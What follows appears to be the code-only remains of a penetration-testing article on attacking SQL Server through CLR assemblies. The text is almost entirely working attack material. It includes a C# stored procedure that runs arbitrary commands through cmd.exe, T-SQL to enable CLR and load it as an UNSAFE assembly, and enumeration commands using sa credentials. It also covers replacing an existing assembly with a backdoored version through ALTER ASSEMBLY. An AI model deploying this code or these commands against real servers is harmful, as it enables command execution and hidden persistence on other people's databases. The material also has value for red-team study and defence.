Attacking SQL Server CLR Assemblies

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs

-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;

-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

# Target file
$assemblyFile = "c:tempcmd_exec.dll"

# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null

# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}

# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt

-- Select the MSDB database
USE msdb

-- Enable clr on the server
Sp_Configure ‘clr enabled’, 1
RECONFIGURE
GO

-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO 

-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; 
GO 

-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami' 
GO

PS C:temp> Create-SQLFileCLRDll -ProcedureName “runcmd” -OutFile runcmd -OutDir c:temp
C# File: c:tempruncmd.csc
CLR DLL: c:tempruncmd.dll
SQL Cmd: c:tempruncmd.txt

1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }

USE msdb;
SELECT      SCHEMA_NAME(so.[schema_id]) AS [schema_name], 
            af.file_id,                          
            af.name + '.dll' as [file_name],
            asmbly.clr_name,
            asmbly.assembly_id,           
            asmbly.name AS [assembly_name], 
            am.assembly_class,
            am.assembly_method,
            so.object_id as [sp_object_id],
            so.name AS [sp_name],
            so.[type] as [sp_type],
            asmbly.permission_set_desc,
            asmbly.create_date,
            asmbly.modify_date,
            af.content                                           
FROM        sys.assembly_modules am
INNER JOIN  sys.assemblies asmbly
ON          asmbly.assembly_id = am.assembly_id
INNER JOIN  sys.assembly_files af 
ON         asmbly.assembly_id = af.assembly_id 
INNER JOIN  sys.objects so
ON          so.[object_id] = am.[object_id]

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

SELECT            pr.name as procname,
                        pa.name as param_name, 
                        TYPE_NAME(system_type_id) as Type,
                        pa.max_length, 
                        pa.has_default_value,
                        pa.is_nullable 
FROM             sys.all_parameters pa
INNER JOIN         sys.procedures pr on pa.object_id = pr.object_id
WHERE             pr.type like 'pc' and pr.name like 'cmd_exec'

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp  -Username sa -Password 'sapassword!' | Format-Table -AutoSize

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize

[SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
    Process expr_05 = new Process();
    expr_05.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
    expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
    expr_05.StartInfo.UseShellExecute = true;
    expr_05.Start();
    expr_05.WaitForExit();
    expr_05.Close();
    Process expr_54 = new Process();
    expr_54.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
    expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:tempclr_backdoor.txt", execCommand.Value);
    expr_54.StartInfo.UseShellExecute = true;
    expr_54.Start();
    expr_54.WaitForExit();
    expr_54.Close();
}

PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll
VERBOSE: Target C#  File: NA
VERBOSE: Target DLL File: .cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
C# File: NA
CLR DLL: .cmd_exec.dll
SQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt

-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO